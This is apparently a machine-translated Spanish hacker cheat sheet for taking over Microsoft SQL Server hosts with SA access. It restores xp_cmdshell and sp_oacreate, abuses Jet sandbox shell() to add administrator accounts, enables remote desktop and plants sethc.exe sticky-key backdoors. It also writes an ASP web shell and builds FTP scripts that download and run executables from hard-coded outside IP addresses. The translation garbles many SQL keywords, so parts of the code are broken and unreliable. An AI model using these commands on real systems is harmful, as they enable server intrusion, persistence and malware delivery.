Órdenes de reparación 1433
usuario net, SQLDebugger list /add net localgroup administrators SQLDebugger /add
Mensaje de error: No se ha encontrado el procedimiento almacenado 'master.. xp_cmdshell'。
Método de reparación: muy general, de hecho, otros 126 127 pueden repararse juntos,
Excepto xplog70.dll todo lo demás se puede arreglar con este comando
xp_cmdshell nuevos métodos de recuperación Paso 1: Eliminar: Procedimiento de caída sp_addextendedproc Procedimiento de caída sp_oacreate Ejecutivo sp_dropextendedproc 'xp_cmdshell' Camarero: Msg 3701, Nivel 11, Estado 5, Línea 1 No es posible eliminar el proceso 'sp_addextendedproc' porque no existe en el directorio del sistema. Servidor: Msg 3701, Nivel 11, Estado 5, Procedimiento sp_dropextendedproc, Línea 18 No es posible eliminar el proceso 'xp_cmdshell' porque no existe en el directorio del sistema. Paso 2 Recuperación: DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") Recuperación directa, independientemente de si sp_addextendedproc existe o no
xplog70.dll soluciones:
Mensaje de error: El xplog70.dll DLL o uno de los DLLs referenciados por el DLL no pudieron ser montados. Motivo: 126 (No se puede encontrar el módulo especificado.) )。
Arreglar XPLOG70.DLL (primero revisar el directorio de copia de seguridad \x86\bin con el archivo, y luego reemplazar el siguiente directorio)
Paso 1 Ejecutivo sp_dropextendedproc 'xp_cmdshell' Paso 2 DBC AddExtendedProc ("xp_cmdshell","C:\sql2ksp4\x86\binn\xplog70.dll")
No se ha encontrado el procedimiento almacenado 'maestro.. xp_cmdshell'。 Paso 1: crear procedimiento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (propietario.) Nombre de la función a llamar
*/ @dllname varchar(255)/* nombre de la función DLL */ como Arranca implicit_transactions si @@trancount > 0 Comienzo raiserror(15002,-1,-1,'sp_addextendedproc') Regreso (1) fin DBCC addextendedproc( @functname, @dllname) Retorno (0) -- sp_addextendedproc VETE
Paso 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server bloqueó el acceso al proceso 'sys.xp_cmdshell' del componente 'xp_cmdshell' porque este componente fue apagado como parte de la configuración de seguridad de este servidor. Los administradores de sistemas pueden activar 'xp_cmdshell' utilizando sp_configure. Para más información sobre cómo habilitar xp_cmdshell, consulte Peripheral App Configurator en la serie SQL Server Online Books.
; EJECUTIVO sp_configure 'mostrar opciones avanzadas', 1 -- ; RECONFIGURAR CON ANULACIÓN -- ; EJECUTIVO sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURAR CON ANULACIÓN -- ; EJECUTIVO sp_configure 'mostrar opciones avanzadas', 0 --
Eliminar almacenamiento peligroso de SQL: PROCEDIMIENTO DE CAÍDA sp_makewebtask Maestro ejecutivo... sp_dropextendedproc xp_cmdshell Maestro ejecutivo... sp_dropextendedproc xp_dirtree Maestro ejecutivo... sp_dropextendedproc xp_fileexist Maestro ejecutivo... sp_dropextendedproc xp_terminate_process Maestro ejecutivo... sp_dropextendedproc sp_oamethod Maestro ejecutivo... sp_dropextendedproc sp_oacreate Maestro ejecutivo... sp_dropextendedproc xp_regaddmultistring Maestro ejecutivo... sp_dropextendedproc xp_regdeletekey Maestro ejecutivo... sp_dropextendedproc xp_regdeletevalue Maestro ejecutivo... sp_dropextendedproc xp_regenumkeys Maestro ejecutivo... sp_dropextendedproc xp_regenumvalues Maestro ejecutivo... sp_dropextendedproc sp_add_job Maestro ejecutivo... sp_dropextendedproc sp_addtask Maestro ejecutivo... sp_dropextendedproc xp_regread Maestro ejecutivo... sp_dropextendedproc xp_regwrite Maestro ejecutivo... sp_dropextendedproc xp_readwebtask Maestro ejecutivo... sp_dropextendedproc xp_makewebtask Maestro ejecutivo... sp_dropextendedproc xp_regremovemultistring Maestro ejecutivo... sp_dropextendedproc sp_OACreate PROCEDIMIENTO DE CAÍDA sp_addextendedproc
Restaurar procedimientos almacenados extendidos Restaura primero la sp_addextendedproc, la afirmación es la siguiente: Primero: crear procedimiento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (propietario.) nombre de la función para llamar a */ @dllname varchar(255)/* nombre de la DLL que contiene la función */ como Arranca implicit_transactions si @@trancount > 0 Comienzo raiserror(15002,-1,-1,'sp_addextendedproc') Regreso (1) fin DBCC addextendedproc( @functname, @dllname) Retorno (0) -- sp_addextendedproc VETE
Segundo: Usar maestro sp_addextendedproc xp_cmdshell ejecutivo, 'xp_cmdshell.dll' sp_addextendedproc xp_dirtree ejecutivo, 'xpstar.dll' sp_addextendedproc xp_enumgroups ejecutivo, 'xplog70.dll' sp_addextendedproc xp_fixeddrives ejecutivo, 'xpstar.dll' sp_addextendedproc xp_loginconfig ejecutivo, 'xplog70.dll' sp_addextendedproc xp_enumerrorlogs ejecutivo, 'xpstar.dll' sp_addextendedproc xp_getfiledetails ejecutivo, 'xpstar.dll' sp_addextendedproc sp_OACreate ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OADestroy ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OAGetErrorInfo ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OAGetProperty ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OAMethod ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OASetProperty ejecutivo, 'odsole70.dll' sp_addextendedproc sp_OAStop ejecutivo, 'odsole70.dll' sp_addextendedproc xp_regaddmultistring ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regdeletekey ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regdeletevalue ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regenumvalues ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regread ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regremovemultistring ejecutivo, 'xpstar.dll' sp_addextendedproc xp_regwrite ejecutivo, 'xpstar.dll' sp_addextendedproc xp_availablemedia ejecutivo, 'xpstar.dll'
Elimina la sentencia que extiende el procedimiento almacenado xp_cmdshell: Ejecutivo sp_dropextendedproc 'xp_cmdshell'
Recuperar la sentencia sql de cmdshell sp_addextendedproc xp_cmdshell ejecutivo ,@dllname ='xplog70.dll'
Abre la sentencia SQL de cmdshell sp_addextendedproc xp_cmdshell ejecutivo ,@dllname ='xplog70.dll'
Determinar si existe la expansión de almacenamiento select count(*) de master.dbo.sysobjects donde xtype='x' y name='xp_cmdshell' El resultado de la devolución es 1 y está bien
Restaurar xp_cmdshell executive master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de master.dbo.sysobjects donde xtype='x' y name='xp_cmdshell' El resultado de la devolución es 1 y está bien Si no, sube xplog7.0.dll Exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Bloquear la instrucción sql de cmdshell sp_dropextendedproc "xp_cmdshell
Uno. Cambio del método de contraseña de SA: Después de conectarte con la Herramienta de Utilización Integral de SQL, ejecuta el comando: exec: sp_password NULL, 'nueva contraseña', 'sa' (Pista: ¡úsalo con precaución!)
Dos. Simplemente parchea la contraseña débil.
Método 1: Consulta el divisor después de conectar: si existe (seleccione * de dbo.sysobjects donde id = object_id(N'[dbo].[ xp_cmdshell]') y OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
ejecutiva sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
VETE Luego pulsa la tecla F5 para ejecutar el comando
Método 2: Consulta después de que el divisor esté conectado El primer paso es ejecutar: usar master Paso 2: sp_dropextendedproc 'xp_cmdshell' Luego pulsa la tecla F5 para ejecutar el comando
La xpsql70.dll DLL o una de las DLL referenciadas por la DLL no pueden montarse. Razón 126 (No se puede encontrar el módulo especificado. ) Método de recuperación: Tras consultar la conexión del divisor, Paso 1: sp_dropextendedproc "xp_cmdshell" Paso 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
La función xp_cmdshell no se encuentra en la xpweb70.dll de la biblioteca. Motivo: 127 (No se puede encontrar el programa especificado.) ) Método de recuperación: Tras consultar la conexión del divisor, Paso 1 Ejecución: el ejecutivo sp_dropextendedproc 'xp_cmdshell' Paso 2: el ejecutivo sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Luego pulsa la tecla F5 para ejecutar el comando
Si ninguno de los métodos anteriores es recuperable, por favor intenta añadir la cuenta directamente usando los siguientes métodos: Tras consultar la conexión del divisor, Sistema 2000servser: declare @shell int executive sp_oacreate 'wscrip remove t.shell', @shell output executive sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
Sistema de servidor XP o 2003: ¡Error 126! Orden
declara @shell INT ejecutive sp_oacreate 'wscrip remove t.shell', @shell outputa exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declara @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server bloqueó el acceso al proceso 'sys.xp_cmdshell' del componente 'xp_cmdshell' porque este componente fue apagado como parte de la configuración de seguridad de este servidor. Los administradores de sistemas pueden activar 'xp_cmdshell' utilizando sp_configure. Para más información sobre cómo habilitar xp_cmdshell, consulte Peripheral App Configurator en la serie SQL Server Online Books.
Sentencias ejecutadas por el analizador:
EXECUTIVE sp_configure 'mostrar opciones avanzadas', 1; RECONFIGURAR; EJECUTIVOS sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
A veces, al ejecutar las sentencias anteriores con una conexión de separador de consultas, no se encuentra el procedimiento almacenado sp_addextendedproc
Solución alternativa:
crear procedimiento sp_addextendedproc --- 30/08/1996 20:13 @functname Nvarchar(517),/* (propietario.) Nombre de la función a llamar */ @dllname varchar(255)/* nombre de la función DLL */ como Arranca implicit_transactions si @@trancount > 0 Comienzo raiserror(15002,-1,-1,'sp_addextendedproc') Regreso (1) fin DBCC addextendedproc( @functname, @dllname) Retorno (0) -- sp_addextendedproc VETE Este código se pega en el divisor de consultas y se ejecuta
Explorador:
c:\windows\explorer.exe
Consulta el índice Ejecutivo master.dbo.xp_subdirs 'C:\' Discos de lista Maestro ejecutivo... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EJECUTIVA master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("usuario de la red 123 123 /add")'); Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor versión 5.00 >3389.reg eco. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg eco de "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Políticas\Microsoft\Windows\Instalador] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg eco [HKEY_USERS\. PREDETERMINADO\Distribución del teclado\Alternar] >>3389.reg eco de "Tecla rápida"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:0000D3D >>3389.reg regedit /s 3389.reg
Abrir 3389:
exécutif master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Paso 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Echa un vistazo al puerto 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'PortNumber'
Puerta trasera CMD normal xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger', 'reg_sz'', 'c:\windows\system32\cmd.exe'
win2K va directamente a PS Mar Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo adiós>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP directamente en caballos PS Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1 selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo adiós>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Cambiar el comando de la puerta trasera declara @o int ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o ejecutiva, 'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
declara @o int ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @o out ejecutive sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllCache\sethc.exe';
Copiado c:\Windows\explorer.exe c:\Windows\system32\sethc.exe Copiado c:\Windows\System32\sethc.exe c:\Windows\System32\dLLcache\sethc.exe
declara @o int ejecutivo sp_oacreate 'wscrip remove t.shell', @o out exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX es el comando que quieres ejecutar
Escribe el valor especificado en la clave especificada en el registro), usando el método (escribe bbb en la clave HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
Maestro ejecutivo... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValor',
@type='REG_SZ',
@value='bbb'
@echo abrir 121.22.56.5>c:\bin.txt&@echo lista>>c:\bin.txt&@echo lista>>c:\bin.txt&@echo gzn.exe>>c:\bin.txt&@echo adiós>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Primero, copia ftp.exe al directorio wmpub @echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Abierto 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL escribe una oración master.dbo.xp_subdirs ejecutivo 'd:\web\cdlxkj'; ejecutive sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB")%>''
Promoción del Modo Sandbox SA ----- ---------------------- Maestro ejecutivo... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; ------------------------------------------------------- Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Seleccione * de OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
TURNO 3389
La frase utilizada: Invasión Maestro ejecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Recuperación Maestro ejecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Depurador', @type='REG_SZ', @value=''
Secuestro de imágenes
Maestro ejecutivo... xp_regwrite --- esto es edición de registro! @rootkey='HKEY_LOCAL_MACHINE', ---¡Esta es la posición! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----¡Esta también es la posición! @value_name='Depurador', --- ¡este es el nombre de la tabla! @type='REG_SZ', ¡--- aquí está el significado de escribir! @value='C:\WINDOWS\explorer.exe' ---- aquí está el contenido escrito.
Todo el proceso consiste en usar el maestro: xp_regwrite este componente se haga,
1.sql comando para consultar si la tecla fija del registro ha sido secuestrada
Maestro ejecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'', 'Depurador'
2.sql comando secuestra la función de tecla fija del registro y la sustituye por el administrador de tareas (por supuesto, puedes sustituirla por otros comandos que quieras).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Depurador', 'REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql comando para eliminar la función de secuestro de la clave fija del registro protege tu servidor de ser explotado por otros
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
Archivos de escritura SQL
declara @o int, @f int, @t int @ret int ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o ejecutiva, 'createtextfile', @f fuera, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. NombreComputadora' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. Establecer contraseña "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Scripts sin escalada de red
struser=wscrip para eliminar t.arguments(0) strpass=wscrip para eliminar t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. Nombre de la computadora Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) sobredosis. SetPassword strpass sobredosis. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Añadido. ADsPath)
Para cada administrador en OE. Miembros si struser=admin. Nombra entonces Wscrip eliminó t.echo struser y "¡Establecido con éxito!" wscrip para eliminar t.quit fin si Próximo
Wscrip remove t.echo struser & "¡Establecimiento del usuario fallido!" Guarda lo anterior como usuario. Archivo VBS Luego ejecuta: cscrip para eliminar la contraseña del nombre de usuario user.vbs
Usando el modo sandbox JET, puedes resolver los problemas causados por procedimientos almacenados como XP_cmdshell y bibliotecas de enlaces dinámicos relacionadas. Por razones de seguridad, el sistema no activa por defecto el modo sandbox, lo que requiere xp_regwrite activar el modo sandbox:
Ejecutivo master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Motores', 'SandBoxMode', 'REG_DWORD'',1
Luego ejecuta el comando sandbox para añadir un test de usuario con la contraseña 1234 al sistema:
selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; Database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
selecciona * de OpenRowSet('microsoft.jet.oledb.4.0','; Database=C:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c NET Localgroup los administradores prueban /add")')
Diferentes sistemas operativos tienen caminos distintos y deben modificarse según la situación:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Además, en Microsoft SQL Server 2005, algunos procedimientos almacenados se cierran por defecto y requieren comandos para abrir:
Enciende XP_cmdshell:
EXECUTIVE sp_configure 'mostrar opciones avanzadas', 1; RECONFIGURAR; EJECUTIVO sp_configure 'xp_cmdshell', 1; RECONFIGURAR;
Abre 'OPENROWSET':
sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; sp_configure ejecutivo 'Consultas Distribuidas Ad Hoc',1; RECONFIGURAR;
Enciende 'sp_oacreate':
sp_configure ejecutivo 'mostrar opciones avanzadas', 1; RECONFIGURAR; sp_configure ejecutivo 'Procedimientos de automatización antiguos',1; RECONFIGURAR;
Aquí hay algunas situaciones en las que el comando de ejecución bajo sa es incorrecto: 1. La xpsql70.dll DLL o una DLL referenciada por la DLL no puede cargarse. Razón 126 (No se puede encontrar el módulo especificado. ) Esta situación es relativamente común, y la reparación es simple y sencilla, pero hay condiciones. Si puedes listar el directorio en este caso (con sqltools v2.0 hay una función de directorio), enhorabuena por esta situación del 80% se puede solucionar; si puedes listar el directorio, simplemente busca la ruta xplog70.dll y ejecuta el siguiente comando. Paso 1 Exec sp_dropextendedproc 'xp_cmdshell' (este comando es para eliminar el cmdshell original, porque ya ha fallado) Paso 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\xplog70.dll") ; EXEC sp_configure 'mostrar opciones avanzadas', 0 – Por supuesto, esto es un comando sql, ejecutado con un analizador de consultas. El c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll en el segundo paso es el camino del xplog70.dll, este camino es relativamente común; si la unidad C no lo tiene, puedes encontrar otras letras de unidad. 2. No se puede encontrar la función xp_cmdshell en la biblioteca xpweb70.dll. Motivo: 127 (No se puede encontrar el programa especificado.) ) De hecho, esto es igual que el 126 anterior, es decir, el cmdshell está mal, siempre que encuentres la copia de seguridad xplog70.dll sigas el método anterior para solucionarlo. 3. No se encontró el procedimiento almacenado 'master'. xpcmdshell En este caso, veo en Internet que el método es: Paso 1: Eliminar: Procedimiento de caída sp_addextendedproc Procedimiento de caída sp_oacreate Ejecutivo sp_dropextendedproc 'xp_cmdshell' Paso 2 Recuperación: DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC addextendedproc ("xp_cmdshell","xplog70.dll") De hecho, esto sigue siendo igual que lo anterior; de hecho, si tienes cuidado, el 126 127 anterior solo no encontrará el procedimiento almacenado 'master:. xpcmdshell' porque el primer paso es eliminar el procedimiento almacenado de cmdshell. Así que en este caso, solo sigue el segundo paso anterior. 4. Mensaje de error: SQL Server bloqueó el acceso al proceso 'sys.xp_cmdshell' del componente 'xp_cmdshell' porque este componente fue apagado como parte de la configuración de seguridad de este servidor. Los administradores de sistemas pueden activar 'xp_cmdshell' utilizando sp_configure. Para más información sobre cómo habilitar xp_cmdshell, consulte Peripheral App Configurator en la serie SQL Server Online Books. Esta situación es la más sencilla, porque no tienes que pensar en nada, solo ejecutas el siguiente comando ; EJECUTIVO sp_configure 'mostrar opciones avanzadas', 1 -- ; RECONFIGURAR CON ANULACIÓN -- ; EJECUTIVO sp_configure 'xp_cmdshell', 1 -- ; RECONFIGURAR CON ANULACIÓN -- ; EXEC sp_configure 'mostrar opciones avanzadas', 0 –
Tras la corrección anterior, puedes ejecutar el comando cmd y empezarás a aumentar tu poder. Normalmente compruebe primero la IP para ver si es una intranet, y luego REG consulto HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber para comprobar el puerto del terminal, y luego netstat –an para ver si el terminal está abierto y después la contraseña de usuario de usuario neta / Añade un usuario y luego neta localgroup administrators usuario /add Si todo va bien, esto hará que un servidor se caya. Pero hay muchos problemas en el proceso. 1. La promoción neta de energía es exitosa pero no puede conectarse al terminal. Existen las siguientes situaciones (1) El servidor está en la intranet. (2) Cribado TCP/IP. Ejecuta primero el siguiente comando cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exporta la primera parte del registro para el filtrado TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exporta la segunda parte del registro para el filtrado TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", exportando el tercer puesto en el registro sobre filtrado TCP/IP Luego vuelve a la unidad C 1.reg, 2.reg, 3.reg, descarga el 1.reg, 2.reg 3.reg vuelve a tu disco duro para editarlo, busca el campo EnableSecurityFilters para ver si el valor clave después del dword es 00000000, si es 00000001, significa que el administrador ha hecho el filtrado tcp/ip, solo hay que cambiar 1 por 0, 2. Reg y 3.reg hacen los mismos cambios. (3) Establecer una política de seguridad de propiedad intelectual. Ejecuta el comando cmd: cmd /c net stop policyagent para detener el servicio de servicios IPSEC. Conecta el terminal otra vez. (4) El permiso de inicio de sesión del terminal establecido por el administrador solo puede ser utilizado por el usuario especificado. (5) Cortafuegos. Ejecuta el comando cmd: net stop alg /ynet stop sharedaccess
2. Aparece la escalada de la red y se niega el acceso Puedes probar con la contraseña de usuario de usuario de net1 /add Si net1 también niega el acceso, puedes copiar una puerta trasera de shfit e intentar ejecutar el comando cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Copiado c:\Windows\System32\sethc.exe c:\Windows\System32\dLLcache\sethc.exe Si te lo piden, copia 1 archivo que resulta exitoso. Conéctate al terminal y pulsa shift 5 para ver qué aparece. Juega con Kaka Explorer, ahora solo añade un usuario a mano. 3. La escalada neta ocurre con error de rechazo de acceso 5 (resaltado) En este caso, no necesitas probar net1, puedes probar la puerta trasera de copy shift, si la copia pide copiar el archivo 0, demuestra que no ha tenido éxito. Luego puedes intentar subirlo, si puedes, puedes enviar directamente una herramienta de escalada de energía que no sea neta que salió hace tiempo, y luego añadir un usuario. Pero la mayoría de estos casos no se pueden subir, así que hay que pensarlo. Como se puede ejecutar cmd, el archivo puede descargarse a través de cmd bajo ftp, pero la premisa de ftp es poder escribir texto o procesamiento por lotes. Luego puedes escribir un texto o un lote a través de una instrucción SQL. declara @o int, @f int, @t int @ret int ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o ejecutiva, 'createtextfile', @f fuera, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'cuenta ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'contraseña ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (no network escalation script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Después de ejecutar correctamente el analizador de consultas, aparecerá un 1.bat en la unidad C (si la ejecución es exitosa pero la unidad C no está, puedes cambiar la carpeta para que escriba, porque la carpeta raíz de la unidad C del servidor prohíbe escribir) Luego cmd ejecuta ftp -s:c:\1.bat Después de ejecutarlo, descargarás un script de escalada no neta en el FTP de la unidad CFT o escribirás directamente un script de escalada VBS declara @o int, @f int, @t int @ret int ejecutive sp_oacreate 'scrip remove ting.filesystemobject', @o out sp_oamethod @o ejecutiva, 'createtextfile', @f fuera, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Luego cmd ejecuta cscrip para eliminar t c:\1.vbs 4. El anterior se repara para ejecutar comandos cmd, pero tras algunas reparaciones, aparecen nuevos problemas (1) Mensaje: Se produjo un error durante la ejecución de xp_cmdshell. Llama a 'CreateProcess' fallado con código de error: '5'. El error 5 es un número de error solicitado por el sistema, CreateProcess significa crear un hilo, esta generación de errores tiene mucho que ver con la cmd.exe de los archivos del sistema, uno es que se elimina cmd, y otro es que se reduce el permiso de cmd. SQL para comprobar puertos de terminal y estado de apertura: Maestro ejecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp', 'NúmeroPuerto' Bien, el punto clave a continuación es usar dos instrucciones SQL para copiar el archivo explorador del sistema al archivo de puerta trasera shift del sistema, y las siguientes dos sentencias se ejecutan por separado. Esta declaración copia explorer.exe como sethc.exe declara @o INT 